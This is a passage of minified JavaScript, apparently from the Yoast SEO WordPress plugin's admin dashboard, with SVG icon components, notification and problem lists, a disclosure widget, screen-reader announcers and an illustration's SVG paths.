9z"}))})),ss=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 17h5l-1.405-1.405A2.032 2.032 0 0118 14.158V11a6.002 6.002 0 00-4-5.659V5a2 2 0 10-4 0v.341C7.67 6.165 6 8.388 6 11v3.159c0 .538-.214 1.055-.595 1.436L4 17h5m6 0v1a3 3 0 11-6 0v-1m6 0H9"}))})),os=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 6V4m0 2a2 2 0 100 4m0-4a2 2 0 110 4m-6 8a2 2 0 100-4m0 4a2 2 0 110-4m0 4v2m0-6V4m6 6v10m6-2a2 2 0 100-4m0 4a2 2 0 110-4m0 4v2m0-6V4"}))})),is=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"}),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"}))})),ls=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13.875 18.825A10.05 10.05 0 0112 19c-4.478 0-8.268-2.943-9.543-7a9.97 9.97 0 011.563-3.029m5.858.908a3 3 0 114.243 4.243M9.878 9.878l4.242 4.242M9.88 9.88l-3.29-3.29m7.532 7.532l3.29 3.29M3 3l3.59 3.59m0 0A9.953 9.953 0 0112 5c4.478 0 8.268 2.943 9.543 7a10.025 10.025 0 01-4.132 5.411m0 0L21 21"}))})),cs=(0,l.createContext)({Icon:null,bulletClass:"",iconClass:""}),us="@yoast/general",ds=({id:e,nonce:r,dismissed:n,message:a})=>{const{bulletClass:o=""}=(0,l.useContext)(cs),{toggleAlertStatus:i}=(0,s.useDispatch)(us),u=n?is:ls,d=(0,l.useCallback)((async()=>{i(e,r,n)}),[e,r,n,i]);return(0,t.createElement)("li",{key:e,className:"yst-flex yst-justify-between yst-gap-x-5 yst-border-b yst-border-slate-200 last:yst-border-b-0 yst-py-6 first:yst-pt-0 last:yst-pb-0"},(0,t.createElement)("div",{className:cr()("yst-mt-1",n&&"yst-opacity-50")},(0,t.createElement)("svg",{width:"11",height:"11",className:o},(0,t.createElement)("circle",{cx:"5.5",cy:"5.5",r:"5.5"}))),(0,t.createElement)("div",{className:cr()("yst-text-sm yst-text-slate-600 yst-grow",n&&"yst-opacity-50"),dangerouslySetInnerHTML:{__html:a}}),(0,t.createElement)(c.Button,{variant:"secondary",size:"small",className:"yst-self-center yst-h-8",onClick:d},(0,t.createElement)(u,{className:"yst-w-4 yst-h-4 yst-text-neutral-700"})))};ds.propTypes={id:Wr().string,nonce:Wr().string,dismissed:Wr().bool,message:Wr().string};const ps=({className:e="",items:r=[]})=>0===r.length?null:(0,t.createElement)("ul",{className:e},r.map((e=>(0,t.createElement)(ds,{key:e.id,id:e.id,nonce:e.nonce,dismissed:e.dismissed,message:e.message}))));ps.propTypes={className:Wr().string,items:Wr().arrayOf(Wr().shape({message:Wr().string}))};const ms=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 8v4m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"}))})),fs=({title:e,counts:r=0,children:n=null})=>{const{Icon:a=ms,iconClass:s=""}=(0,l.useContext)(cs);return(0,t.createElement)("div",null,(0,t.createElement)("div",{className:"yst-flex yst-justify-between yst-gap-2 yst-items-center"},(0,t.createElement)(a,{className:cr()("yst-w-6 yst-h-6",s)}),(0,t.createElement)(c.Title,{className:"yst-grow",as:"h2",size:"2"},e," ",`(${r})`)),n)};var ys;fs.propTypes={title:Wr().string,counts:Wr().number,children:Wr().node};let hs=null!=(ys=t.useId)?ys:function(){let e=Ma(),[r,n]=t.useState(e?()=>Oa.nextId():null);return Ta((()=>{null===r&&n(Oa.nextId())}),[r]),null!=r?""+r:void 0};var gs=(e=>(e.Space=" ",e.Enter="Enter",e.Escape="Escape",e.Backspace="Backspace",e.Delete="Delete",e.ArrowLeft="ArrowLeft",e.ArrowUp="ArrowUp",e.ArrowRight="ArrowRight",e.ArrowDown="ArrowDown",e.Home="Home",e.End="End",e.PageUp="PageUp",e.PageDown="PageDown",e.Tab="Tab",e))(gs||{});function vs(e){let t=e.parentElement,r=null;for(;t&&!(t instanceof HTMLFieldSetElement);)t instanceof HTMLLegendElement&&(r=t),t=t.parentElement;let n=""===(null==t?void 0:t.getAttribute("disabled"));return(!n||!function(e){if(!e)return!1;let t=e.previousElementSibling;for(;null!==t;){if(t instanceof HTMLLegendElement)return!1;t=t.previousElementSibling}return!0}(r))&&n}function bs(e){var t;if(e.type)return e.type;let r=null!=(t=e.as)?t:"button";return"string"==typeof r&&"button"===r.toLowerCase()?"button":void 0}function ws(e,r){let[n,a]=(0,t.useState)((()=>bs(e)));return Ta((()=>{a(bs(e))}),[e.type,e.as]),Ta((()=>{n||!r.current||r.current instanceof HTMLButtonElement&&!r.current.hasAttribute("type")&&a("button")}),[n,r]),n}function Es(e){return Oa.isServer?null:e instanceof Node?e.ownerDocument:null!=e&&e.hasOwnProperty("current")&&e.current instanceof Node?e.current.ownerDocument:document}var xs,Ss=((xs=Ss||{})[xs.Open=0]="Open",xs[xs.Closed=1]="Closed",xs),_s=(e=>(e[e.ToggleDisclosure=0]="ToggleDisclosure",e[e.CloseDisclosure=1]="CloseDisclosure",e[e.SetButtonId=2]="SetButtonId",e[e.SetPanelId=3]="SetPanelId",e[e.LinkPanel=4]="LinkPanel",e[e.UnlinkPanel=5]="UnlinkPanel",e))(_s||{});let ks={0:e=>({...e,disclosureState:ma(e.disclosureState,{0:1,1:0})}),1:e=>1===e.disclosureState?e:{...e,disclosureState:1},4:e=>!0===e.linkedPanel?e:{...e,linkedPanel:!0},5:e=>!1===e.linkedPanel?e:{...e,linkedPanel:!1},2:(e,t)=>e.buttonId===t.buttonId?e:{...e,buttonId:t.buttonId},3:(e,t)=>e.panelId===t.panelId?e:{...e,panelId:t.panelId}},Rs=(0,t.createContext)(null);function Cs(e){let r=(0,t.useContext)(Rs);if(null===r){let t=new Error(`<${e} /> is missing a parent <Disclosure /> component.`);throw Error.captureStackTrace&&Error.captureStackTrace(t,Cs),t}return r}Rs.displayName="DisclosureContext";let Ps=(0,t.createContext)(null);function Ns(e){let r=(0,t.useContext)(Ps);if(null===r){let t=new Error(`<${e} /> is missing a parent <Disclosure /> component.`);throw Error.captureStackTrace&&Error.captureStackTrace(t,Ns),t}return r}Ps.displayName="DisclosureAPIContext";let Os=(0,t.createContext)(null);function Ts(e,t){return ma(t.type,ks,e,t)}Os.displayName="DisclosurePanelContext";let Ls=t.Fragment,Is=Ea((function(e,r){let{defaultOpen:n=!1,...a}=e,s=(0,t.useRef)(null),o=ja(r,Fa((e=>{s.current=e}),void 0===e.as||e.as===t.Fragment)),i=(0,t.useRef)(null),l=(0,t.useRef)(null),c=(0,t.useReducer)(Ts,{disclosureState:n?0:1,linkedPanel:!1,buttonRef:l,panelRef:i,buttonId:null,panelId:null}),[{disclosureState:u,buttonId:d},p]=c,m=Aa((e=>{p({type:1});let t=Es(s);if(!t||!d)return;let r=e?e instanceof HTMLElement?e:e.current instanceof HTMLElement?e.current:t.getElementById(d):t.getElementById(d);null==r||r.focus()})),f=(0,t.useMemo)((()=>({close:m})),[m]),y=(0,t.useMemo)((()=>({open:0===u,close:m})),[u,m]),h={ref:o};return t.createElement(Rs.Provider,{value:c},t.createElement(Ps.Provider,{value:f},t.createElement(Ca,{value:ma(u,{0:ka.Open,1:ka.Closed})},va({ourProps:h,theirProps:a,slot:y,defaultTag:Ls,name:"Disclosure"}))))})),Ms=Ea((function(e,r){let n=hs(),{id:a=`headlessui-disclosure-button-${n}`,...s}=e,[o,i]=Cs("Disclosure.Button"),l=(0,t.useContext)(Os),c=null!==l&&l===o.panelId,u=(0,t.useRef)(null),d=ja(u,r,c?null:o.buttonRef);(0,t.useEffect)((()=>{if(!c)return i({type:2,buttonId:a}),()=>{i({type:2,buttonId:null})}}),[a,i,c]);let p=Aa((e=>{var t;if(c){if(1===o.disclosureState)return;switch(e.key){case gs.Space:case gs.Enter:e.preventDefault(),e.stopPropagation(),i({type:0}),null==(t=o.buttonRef.current)||t.focus()}}else switch(e.key){case gs.Space:case gs.Enter:e.preventDefault(),e.stopPropagation(),i({type:0})}})),m=Aa((e=>{e.key===gs.Space&&e.preventDefault()})),f=Aa((t=>{var r;vs(t.currentTarget)||e.disabled||(c?(i({type:0}),null==(r=o.buttonRef.current)||r.focus()):i({type:0}))})),y=(0,t.useMemo)((()=>({open:0===o.disclosureState})),[o]),h=ws(e,u);return va({ourProps:c?{ref:d,type:h,onKeyDown:p,onClick:f}:{ref:d,id:a,type:h,"aria-expanded":e.disabled?void 0:0===o.disclosureState,"aria-controls":o.linkedPanel?o.panelId:void 0,onKeyDown:p,onKeyUp:m,onClick:f},theirProps:s,slot:y,defaultTag:"button",name:"Disclosure.Button"})})),As=ha.RenderStrategy|ha.Static,Ds=Ea((function(e,r){let n=hs(),{id:a=`headlessui-disclosure-panel-${n}`,...s}=e,[o,i]=Cs("Disclosure.Panel"),{close:l}=Ns("Disclosure.Panel"),c=ja(r,o.panelRef,(e=>{i({type:e?4:5})}));(0,t.useEffect)((()=>(i({type:3,panelId:a}),()=>{i({type:3,panelId:null})})),[a,i]);let u=Ra(),d=null!==u?u===ka.Open:0===o.disclosureState,p=(0,t.useMemo)((()=>({open:0===o.disclosureState,close:l})),[o,l]),m={ref:c,id:a};return t.createElement(Os.Provider,{value:o.panelId},va({ourProps:m,theirProps:s,slot:p,defaultTag:"div",features:As,visible:d,name:"Disclosure.Panel"}))})),Fs=Object.assign(Is,{Button:Ms,Panel:Ds});const js=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"}))})),zs=({label:e,children:r})=>(0,t.createElement)(Fs,null,(({open:n})=>(0,t.createElement)("div",{className:"yst-shadow-sm yst-border-slate-300 yst-rounded-md yst-border"},(0,t.createElement)(Fs.Button,{className:"yst-w-full yst-flex yst-justify-between yst-py-4 yst-pr-4 yst-pl-6 yst-items-center"},(0,t.createElement)("div",{className:"yst-font-medium"},e),(0,t.createElement)(js,{className:cr()("yst-h-5 yst-w-5 flex-shrink-0 yst-text-slate-400",n?"yst-rotate-180":"")})),(0,t.createElement)(Fs.Panel,{className:"yst-px-6"},r))));zs.propTypes={label:Wr().string,children:Wr().node};const Us=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"}))}));function $s({title:e,id:r,isDismissable:n,children:a,className:o}){const i=(0,c.useSvgAria)(),{dismissNotice:u}=(0,s.useDispatch)(us),d=(0,l.useCallback)((()=>{setTimeout((()=>{u(r)}),0)}),[u,r]);return(0,t.createElement)("div",{id:r,className:cr()("yst-p-3 yst-rounded-md yoast-general-page-notice",o)},(0,t.createElement)("div",{className:"yst-flex yst-flex-row yst-items-center yst-min-h-[24px]"},(0,t.createElement)("span",{className:"yoast-icon"}),e&&(0,t.createElement)("div",{className:"yst-text-sm yst-font-medium",dangerouslySetInnerHTML:{__html:e}}),n&&(0,t.createElement)("div",{className:"yst-relative yst-ml-auto"},(0,t.createElement)("button",{type:"button",className:"notice-dismiss",onClick:d},(0,t.createElement)("span",{className:"yst-sr-only"},(0,Ht.__)("Close","wordpress-seo")),(0,t.createElement)(Us,{className:"yst-h-5 yst-w-5",...i})))),a&&(0,t.createElement)("div",{className:"yst-flex-1 yst-text-sm yst-max-w-[600px] yst-pl-[29px]",dangerouslySetInnerHTML:{__html:a}}))}$s.propTypes={title:Wr().string.isRequired,id:Wr().string.isRequired,isDismissable:Wr().bool.isRequired,children:Wr().string.isRequired,className:Wr().string};const qs=()=>{const e=(0,s.useSelect)((e=>e(us).selectActiveNotifications()),[]),r=(0,s.useSelect)((e=>e(us).selectDismissedNotifications()),[]),n=r.length,a=(0,Ht._n)("hidden notification","hidden notifications",n,"wordpress-seo"),o={Icon:ss,bulletClass:"yst-fill-blue-500",iconClass:"yst-text-blue-500"};return(0,t.createElement)(c.Paper,null,(0,t.createElement)(c.Paper.Content,{className:"yst-max-w-[600px] yst-flex yst-flex-col yst-gap-y-6"},(0,t.createElement)(cs.Provider,{value:{...o}},(0,t.createElement)(fs,{counts:e.length,title:(0,Ht.__)("Notifications","wordpress-seo")},0===e.length&&(0,t.createElement)("p",{className:"yst-mt-2 yst-text-sm"},(0,Ht.__)("No new notifications.","wordpress-seo"))),(0,t.createElement)(ps,{items:e}),n>0&&(0,t.createElement)(zs,{label:`${n} ${a}`},(0,t.createElement)(ps,{className:"yst-pb-6",items:r})))))},Bs=()=>{const e=(0,s.useSelect)((e=>e(us).selectActiveProblems()),[]),r=(0,s.useSelect)((e=>e(us).selectDismissedProblems()),[]),n=r.length,a=(0,Ht._n)("hidden problem","hidden problems",n,"wordpress-seo"),o={Icon:ms,bulletClass:"yst-fill-red-500",iconClass:"yst-text-red-500"};return(0,t.createElement)(c.Paper,null,(0,t.createElement)(c.Paper.Content,{className:"yst-max-w-[600px] yst-flex yst-flex-col yst-gap-y-6"},(0,t.createElement)(cs.Provider,{value:{...o}},(0,t.createElement)(fs,{title:(0,Ht.__)("Problems","wordpress-seo"),counts:e.length},(0,t.createElement)("p",{className:"yst-mt-2 yst-text-sm"},e.length>0?(0,Ht.__)("We have detected the following issues that affect the SEO of your site.","wordpress-seo"):(0,Ht.__)("Good job! We could detect no serious SEO problems.","wordpress-seo"))),(0,t.createElement)(ps,{items:e}),n>0&&(0,t.createElement)(zs,{label:`${n} ${a}`},(0,t.createElement)(ps,{className:"yst-pb-6",items:r})))))},Hs=(e,t,r)=>{const n=e.querySelector(t);return n&&(n.textContent=r),n},Vs=(e,t=[],...r)=>(0,s.useSelect)((t=>{var n,a;return null===(n=(a=t(us))[e])||void 0===n?void 0:n.call(a,...r)}),t),Zs=({className:e})=>{const r=(0,l.useCallback)((()=>{var e,t;return null===(e=window)||void 0===e||null===(t=e.location)||void 0===t?void 0:t.reload()}),[]),n=Vs("selectLink",[],"https://yoa.st/general-error-support"),a=gt();return(0,t.createElement)(c.Paper,{className:e},(0,t.createElement)(tn,{error:a},(0,t.createElement)(tn.HorizontalButtons,{handleRefreshClick:r,supportLink:n})))};Zs.propTypes={className:Wr().string};var Ws={border:0,clip:"rect(0 0 0 0)",height:"1px",margin:"-1px",overflow:"hidden",whiteSpace:"nowrap",padding:0,width:"1px",position:"absolute"},Gs=function(e){var t=e.message,r=e["aria-live"];return n().createElement("div",{style:Ws,role:"log","aria-live":r},t||"")};Gs.propTypes={};const Ys=Gs;function Ks(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var Js=function(e){function t(){var r,n;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var a=arguments.length,s=Array(a),o=0;o<a;o++)s[o]=arguments[o];return r=n=Ks(this,e.call.apply(e,[this].concat(s))),n.state={assertiveMessage1:"",assertiveMessage2:"",politeMessage1:"",politeMessage2:"",oldPolitemessage:"",oldPoliteMessageId:"",oldAssertiveMessage:"",oldAssertiveMessageId:"",setAlternatePolite:!1,setAlternateAssertive:!1},Ks(n,r)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),t.getDerivedStateFromProps=function(e,t){var r=t.oldPolitemessage,n=t.oldPoliteMessageId,a=t.oldAssertiveMessage,s=t.oldAssertiveMessageId,o=e.politeMessage,i=e.politeMessageId,l=e.assertiveMessage,c=e.assertiveMessageId;return r!==o||n!==i?{politeMessage1:t.setAlternatePolite?"":o,politeMessage2:t.setAlternatePolite?o:"",oldPolitemessage:o,oldPoliteMessageId:i,setAlternatePolite:!t.setAlternatePolite}:a!==l||s!==c?{assertiveMessage1:t.setAlternateAssertive?"":l,assertiveMessage2:t.setAlternateAssertive?l:"",oldAssertiveMessage:l,oldAssertiveMessageId:c,setAlternateAssertive:!t.setAlternateAssertive}:null},t.prototype.render=function(){var e=this.state,t=e.assertiveMessage1,r=e.assertiveMessage2,a=e.politeMessage1,s=e.politeMessage2;return n().createElement("div",null,n().createElement(Ys,{"aria-live":"assertive",message:t}),n().createElement(Ys,{"aria-live":"assertive",message:r}),n().createElement(Ys,{"aria-live":"polite",message:a}),n().createElement(Ys,{"aria-live":"polite",message:s}))},t}(t.Component);Js.propTypes={};const Qs=Js;function Xs(){console.warn("Announcement failed, LiveAnnouncer context is missing")}const eo=n().createContext({announceAssertive:Xs,announcePolite:Xs}),to=function(e){function t(r){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,e.call(this,r));return n.announcePolite=function(e,t){n.setState({announcePoliteMessage:e,politeMessageId:t||""})},n.announceAssertive=function(e,t){n.setState({announceAssertiveMessage:e,assertiveMessageId:t||""})},n.state={announcePoliteMessage:"",politeMessageId:"",announceAssertiveMessage:"",assertiveMessageId:"",updateFunctions:{announcePolite:n.announcePolite,announceAssertive:n.announceAssertive}},n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),t.prototype.render=function(){var e=this.state,t=e.announcePoliteMessage,r=e.politeMessageId,a=e.announceAssertiveMessage,s=e.assertiveMessageId,o=e.updateFunctions;return n().createElement(eo.Provider,{value:o},this.props.children,n().createElement(Qs,{assertiveMessage:a,assertiveMessageId:s,politeMessage:t,politeMessageId:r}))},t}(t.Component);var ro=r(3409),no=r.n(ro);function ao(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var so=function(e){function t(){var r,n;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var a=arguments.length,s=Array(a),o=0;o<a;o++)s[o]=arguments[o];return r=n=ao(this,e.call.apply(e,[this].concat(s))),n.announce=function(){var e=n.props,t=e.message,r=e["aria-live"],a=e.announceAssertive,s=e.announcePolite;"assertive"===r&&a(t||"",no()()),"polite"===r&&s(t||"",no()())},ao(n,r)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),t.prototype.componentDidMount=function(){this.announce()},t.prototype.componentDidUpdate=function(e){this.props.message!==e.message&&this.announce()},t.prototype.componentWillUnmount=function(){var e=this.props,t=e.clearOnUnmount,r=e.announceAssertive,n=e.announcePolite;!0!==t&&"true"!==t||(r(""),n(""))},t.prototype.render=function(){return null},t}(t.Component);so.propTypes={};const oo=so;var io=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},lo=function(e){return n().createElement(eo.Consumer,null,(function(t){return n().createElement(oo,io({},t,e))}))};lo.propTypes={};const co=lo;const uo=({children:e,title:r,description:n})=>{const a=(0,Ht.sprintf)(/* translators: 1: Settings' section title, 2: Yoast SEO */
(0,Ht.__)("%1$s Dashboard - %2$s","wordpress-seo"),r,"Yoast SEO");return(0,t.createElement)(to,null,(0,t.createElement)(co,{message:a,"aria-live":"polite"}),(0,t.createElement)(In.Helmet,null,(0,t.createElement)("title",null,"Dashboard")),(0,t.createElement)("header",{className:"yst-p-8 yst-border-b yst-border-slate-200"},(0,t.createElement)("div",{className:"yst-max-w-screen-sm"},(0,t.createElement)(c.Title,null,r),n&&(0,t.createElement)("p",{className:"yst-text-tiny yst-mt-3"},n))),e)};uo.propTypes={children:Wr().node.isRequired,title:Wr().string.isRequired,description:Wr().node};const po=(0,window.wp.compose.compose)([(0,s.withSelect)(((e,t)=>{const{isAlertDismissed:r}=e(t.store||"yoast-seo/editor");return{isAlertDismissed:r(t.alertKey)}})),(0,s.withDispatch)(((e,t)=>{const{dismissAlert:r}=e(t.store||"yoast-seo/editor");return{onDismissed:()=>r(t.alertKey)}}))]),mo=po,fo=({children:e,id:r,hasIcon:n=!0,title:a,image:s=null,isAlertDismissed:o,onDismissed:i})=>o?null:(0,t.createElement)("div",{id:r,className:"notice-yoast yoast is-dismissible yoast-webinar-dashboard yoast-general-page-notices"},(0,t.createElement)("div",{className:"notice-yoast__container"},(0,t.createElement)("div",null,(0,t.createElement)("div",{className:"notice-yoast__header"},n&&(0,t.createElement)("span",{className:"yoast-icon"}),(0,t.createElement)("h2",{className:"notice-yoast__header-heading yoast-notice-migrated-header"},a)),(0,t.createElement)("div",{className:"notice-yoast-content"},(0,t.createElement)("p",null,e))),s&&(0,t.createElement)(s,{height:"60"})),(0,t.createElement)("button",{type:"button",className:"notice-dismiss",onClick:i},(0,t.createElement)("span",{className:"screen-reader-text"},/* translators: Hidden accessibility text. */
(0,Ht.__)("Dismiss this notice.","wordpress-seo"))));fo.propTypes={children:Wr().node.isRequired,id:Wr().string.isRequired,hasIcon:Wr().bool,title:Wr().any.isRequired,image:Wr().elementType,isAlertDismissed:Wr().bool.isRequired,onDismissed:Wr().func.isRequired};const yo=mo(fo);var ho,go,vo,bo,wo,Eo,xo,So,_o,ko,Ro,Co,Po,No,Oo,To,Lo,Io,Mo,Ao,Do,Fo,jo,zo,Uo,$o,qo,Bo,Ho,Vo,Zo,Wo,Go,Yo,Ko,Jo,Qo,Xo,ei,ti,ri,ni,ai,si,oi,ii,li;function ci(){return ci=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},ci.apply(this,arguments)}const ui=e=>t.createElement("svg",ci({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 448 360"},e),ho||(ho=t.createElement("circle",{cx:226,cy:211,r:149,fill:"#f0ecf0"})),go||(go=t.createElement("path",{fill:"#fbd2a6",d:"M173.53 189.38s-35.47-5.3-41.78-11c-9.39-24.93-29.61-48-35.47-66.21-.71-2.24 3.72-11.39 3.53-15.41s-5.34-11.64-5.23-14-.09-15.27-.09-15.27l-4.75-.72s-5.13 6.07-3.56 9.87c-1.73-4.19 4.3 7.93.5 9.35 0 0-6-5.94-11.76-8.27s-19.57-3.65-19.57-3.65L43.19 73l-4.42.6L31 69.7l-2.85 5.12 7.53 5.29L40.86 92l17.19 10.2 10.2 10.56 9.86 3.56s26.49 79.67 45 92c17 11.33 37.23 15.92 37.23 15.92z"})),vo||(vo=t.createElement("path",{fill:"#a4286a",d:"M270.52 345.13c2.76-14.59 15.94-35.73 30.24-54.58 16.22-21.39 14-79.66-33.19-91.46-17.3-4.32-52.25-1-59.85-3.41C186.54 189 170 187 168 190.17c-5 10.51-7.73 27.81-5.51 36.26 1.18 4.73 3.54 5.91 20.49 13.4-5.12 15-16.35 26.3-22.86 37s7.88 27.2 7.1 33.51c-.48 3.8-4.26 21.13-7.18 34.25a149.47 149.47 0 0 0 110.3 8.66 25.66 25.66 0 0 1 .18-8.12z"})),bo||(bo=t.createElement("path",{fill:"#9a5815",d:"M206.76 66.43c-5 14.4-1.42 25.67-3.93 40.74-10 60.34-24.08 43.92-31.44 93.6 7.24-14.19 14.32-15.82 20.63-23.11-.83 3.09-10.25 13.75-8.05 34.81 9.85-8.51 6.35-8.75 11.86-8.54.36 3.25 3.53 3.22-3.59 10.53 2.52.69 17.42-14.32 20.16-12.66s0 5.72-6 7.76c2.15 2.2 30.47-3.87 43.81-14.71 4.93-4 10-13.16 13.38-18.2 7.17-10.62 12.38-24.77 17.71-36.6 8.94-19.87 15.09-39.34 16.11-61.31.53-10.44-3.41-18.44-4.41-28.86-2.57-27.8-67.63-37.26-86.24 16.55z"})),wo||(wo=t.createElement("path",{fill:"#efb17c",d:"M277.74 179.06c.62-.79 1.24-1.59 1.84-2.39-.85 2.59-1.52 3.73-1.84 2.39z"})),Eo||(Eo=t.createElement("path",{fill:"#fbd2a6",d:"M216.1 206.72c3.69-5.42 8.28-3.35 15.57-8.28 3.76-3.06 1.57-9.46 1.77-11.82 18.25 4.56 37.38-1.18 49.07-16 .62 5.16-2.77 22.27-.2 27 4.73 8.67 13.4 18.92 13.4 18.92-35.47-2.76-63.45 39-89.86 44.54 5.52-28.74-2.36-35.84 10.25-54.36z"})),xo||(xo=t.createElement("path",{fill:"#f6b488",d:"m235.21 167.9 53.21-25.23s-3.65 24-6.5 32.72c-64.05 62.66-46.47-7.33-46.71-7.49z"})),So||(So=t.createElement("path",{fill:"#fbd2a6",d:"M226.86 50.64C215 59.31 206.37 93.21 204 95.57c-19.46 19.47-3.59 41.39-3.94 51.24-.2 5.52-4.14 25.42 5.72 29.36 22.22 8.89 60-3.48 67.19-12.61 13.28-16.75 40.89-94.78 17.74-108.19-7.92-4.58-42.78-20.18-63.85-4.73z"})),_o||(_o=t.createElement("path",{fill:"#e5766c",d:"M243.69 143.66c-10.7-6.16-8.56-6.73-19.76-12.71-3.86-2.07-3.94.64-6.32 0-2.91-.79-1.39-2.74-5.37-3.48-6.52-1.21-3.67 3.63-3.15 6 1.32 6.15-8.17 17.3 3.26 21.42 12.65 4.55 21.38-9.41 31.34-11.23z"})),ko||(ko=t.createElement("path",{fill:"#fff",d:"M240.68 143.9c-11.49-5.53-11.65-8.17-24.64-11.69-8.6-2.32-5.53 1-5.69 4.42-.2 4.16-1.26 9.87 4.9 12.66 9 4.09 18.16-6.02 25.43-5.39zm.7-40.9c-.16 1.26-.06 4.9 5.46 8.25 11.43-4.73 16.36-2.56 17-3.33 1.48-1.76-2-8.87-7.88-9.85-5.58-.94-14.14 1.24-14.58 4.93z"})),Ro||(Ro=t.createElement("path",{fill:"#000001",d:"M263.53 108.19c-4.32-4.33-6.85-6.24-12.26-8.21-2.77-1-6.18.18-8.65 1.67a3.65 3.65 0 0 0-1.24 1.23h-.12a3.73 3.73 0 0 1 1-1.52 12.53 12.53 0 0 1 11.93-3c4.73 1 9.43 4.63 9.42 9.82z"})),Co||(Co=t.createElement("circle",{cx:254.13,cy:104.05,r:4.19,fill:"#000001"})),Po||(Po=t.createElement("path",{fill:"#fff",d:"M225.26 99.22c-.29 1-6.6 3.45-10.92 1.48-1.15-3.24-5-6.43-5.25-6.71-.5-2.86 5.55-8 10.06-6.3a10.21 10.21 0 0 1 6.11 11.53z"})),No||(No=t.createElement("path",{fill:"#000001",d:"M209.29 94.21c-.19-2.34 1.84-4.1 3.65-5.2 7-3.87 13.18 3 12.43 10h-.12c-.14-4-2.38-8.44-6.47-9.11a3.19 3.19 0 0 0-2.42.31c-1.37.85-2.38 2-3.89 2.56-1 .45-1.92.42-3 1.4h-.22z"})),Oo||(Oo=t.createElement("circle",{cx:219.55,cy:95.28,r:4,fill:"#000001"})),To||(To=t.createElement("path",{fill:"#efb17c",d:"M218.66 120.27a27.32 27.32 0 0 0 4.54 3.45c-2.29-.72-4.28-.69-6.32-2.27-2.53-2-3.39-5.16-.73-7.72 10.24-9.82 12.56-13.82 14.77-24.42-1 12.37-6 17.77-10.63 23.18-2.53 2.97-4.68 5.06-1.63 7.78z"})),Lo||(Lo=t.createElement("path",{fill:"#a57c52",d:"M231.22 69.91c-.67-3.41-8.78-2.83-11.06-1.93-3.48 1.39-6.08 5.22-7.13 8.53 2.9-4.3 6.74-8.12 12.46-6 1.16.42 3.18 2.35 4.48 1.85s1.03-2.2 1.25-2.45zm32.16 8.56c-2.75-1.66-12.24-5.08-12.18.82 2.56.24 5-.19 7.64.95 11.22 4.76 12.77 17.61 